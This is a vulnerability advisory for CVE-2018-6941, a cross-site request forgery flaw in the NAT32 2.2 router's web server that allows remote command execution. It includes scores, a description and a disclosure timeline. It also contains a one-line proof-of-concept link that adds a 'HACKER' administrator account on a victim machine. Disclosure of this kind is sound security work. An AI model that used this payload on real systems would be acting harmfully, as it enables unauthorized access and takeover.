NAT32 2.2 Build 22284 Cross-Site Request Forgery

2018.02.14
Credit: hyp3rlinx
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt [+] ISR: Apparition Security [-_-] D1rty0tis Vendor: ============= www.nat32.com Product: =========== NAT32 Build (22284) NAT32® is a versatile IP Router implemented as a WIN32 application. Vulnerability Type: =================== Remote Command Execution (CSRF) CVE Reference: ============== CVE-2018-6941 Security Issue: ================ CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution. Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link or visits an attacker controlled webpage as NAT32 performs no check for blind requests. Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network. Exploit/POC: ============= <a href="http://VICTIM-IP:8080/shell?cmd=exec+net%20user%20HACKER%20abc123%20/add">Backdoor clicker</a> Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: February 9, 2018 Vendor acknowledgement: February 9, 2018 Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018 www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018 February 14, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).

References:

http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt


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